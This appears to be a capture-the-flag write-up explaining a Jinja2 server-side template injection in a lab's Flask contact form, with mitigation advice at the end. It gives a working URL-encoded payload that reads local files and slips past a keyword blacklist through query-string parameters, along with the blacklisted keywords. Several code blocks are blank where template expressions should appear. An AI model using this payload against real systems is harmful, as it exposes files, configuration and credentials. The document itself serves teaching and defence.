Post

Server-Side Template Injection Leads to Arbitrary File Read | HammerHopper

Server-Side Template Injection Leads to Arbitrary File Read | HammerHopper

HammerHopper


Overview

HammerHopper was a WebVerse Pro lab focused on a vulnerable construction company contact form. The application accepted user-supplied input through the /contact endpoint and reflected the submitted name inside a thank-you page.

During testing, the name parameter was not treated as plain text. Instead, it was evaluated by the server-side template engine. This allowed Jinja2 Server-Side Template Injection. Basic expressions such as `` were evaluated successfully, confirming template execution.

Direct command execution using common Flask/Jinja payloads was blocked or rendered back as literal text. However, the template context still exposed useful objects. By accessing Jinja globals through the lipsum helper and using Python built-ins, it was possible to read /flag.txt directly without relying on shell execution.


Objective

The objective was to identify the vulnerability in the contact form, escalate the template injection primitive, and retrieve the flag from the server.


Vulnerability Identification

The contact form submitted data to the following endpoint:

1
2
3
POST /contact HTTP/1.1
Host: redacted
Content-Type: application/x-www-form-urlencoded

The initial SSTI test was placed in the name parameter:

1
name=&email=kelvin@kel.com&phone=1111&message=test

The server responded with the evaluated result:

1
<h1 class="thanks-h">Thank you 49, we'll get back to you!</h1>

This confirmed that the application was evaluating user-controlled input as a Jinja template.

A second test confirmed Flask/Jinja context access:

1

The response showed:

1
False

Another test showed the request object was available:

1

The response contained a Flask request object:

1
<Request 'http://redacted/contact' [POST]>

Recon and Filter Behavior

Common Jinja2 RCE payloads were tested first:

1

Instead of executing, the payload was reflected back literally:

1
Thank you , we'll get back to you!

This indicated that the application likely had filtering or blocking logic for dangerous template patterns such as:

1
2
3
4
5
6
__globals__
__builtins__
os
popen
attr
cycler

The SSTI itself was still valid, but direct shell execution was blocked.


Exploitation

Since os.popen() was blocked, the exploit path shifted from command execution to arbitrary file read using Python built-ins.

The useful Jinja object was lipsum, which exposes access to its global namespace. Dangerous strings were moved into query-string parameters so they did not appear directly inside the name value.

The final payload used this template expression:

1

The query string supplied the dangerous attribute names indirectly:

1
/contact?g=__globals__&b=__builtins__&o=open&path=/flag.txt&r=read

The complete request body was:

1
name=%7B%7Blipsum%5Brequest.args.g%5D%5Brequest.args.b%5D%5Brequest.args.o%5D%28request.args.path%29%5Brequest.args.r%5D%28%29%7D%7D&email=kelvin%40kel.com&phone=1111&message=test

Decoded, the payload effectively became:

1

This allowed the template engine to open and read /flag.txt directly.


Proof of Exploitation

The final request successfully read the flag file from the server.

1
WEBVERSE{REDACTED}

Root Cause

The root cause was unsafe server-side rendering of user-controlled input. The submitted name value was passed into a Jinja template evaluation path instead of being treated as plain text.

The application attempted to block obvious payloads, but the blacklist approach was incomplete. Attackers could still access sensitive objects indirectly through existing template context variables and query-string controlled keys.


Impact

The vulnerability allowed an attacker to execute arbitrary Jinja expressions on the server.

In this lab, direct shell execution through os.popen() was blocked, but the attacker could still use Python built-ins to read arbitrary local files. This led to disclosure of the flag from /flag.txt.

In a real-world application, this could expose:

  • Application source code
  • Configuration files
  • Environment variables
  • Credentials and API keys
  • Local files readable by the web server user

Depending on the available objects and runtime restrictions, SSTI can also lead to full remote code execution.


Mitigation

To prevent this vulnerability:

  1. Never render user input as a server-side template.
  2. Treat user-controlled values as data, not template source.
  3. Pass user input into templates only as escaped variables.
  4. Avoid render_template_string() with untrusted input.
  5. Do not rely on blacklists for SSTI prevention.
  6. Use strict sandboxing where template evaluation is unavoidable.
  7. Apply allowlist validation for fields such as names, emails, and phone numbers.
  8. Run the application with least-privilege filesystem access.

A safe rendering pattern should look like this:

1
return render_template("thanks.html", name=user_name)

The template should then display the variable normally:

1
Thank you 

The application should not build a new template string from the submitted name.


Lessons Learned

This lab demonstrated that SSTI does not always require direct command execution to be dangerous. Even when common RCE gadgets are blocked, exposed template globals can still provide powerful primitives.

The key lesson is that blacklisting payload strings is not a reliable defense. The correct fix is to remove the unsafe template evaluation pattern entirely and ensure user input is rendered only as escaped data.

This post is licensed under CC BY 4.0 by the author.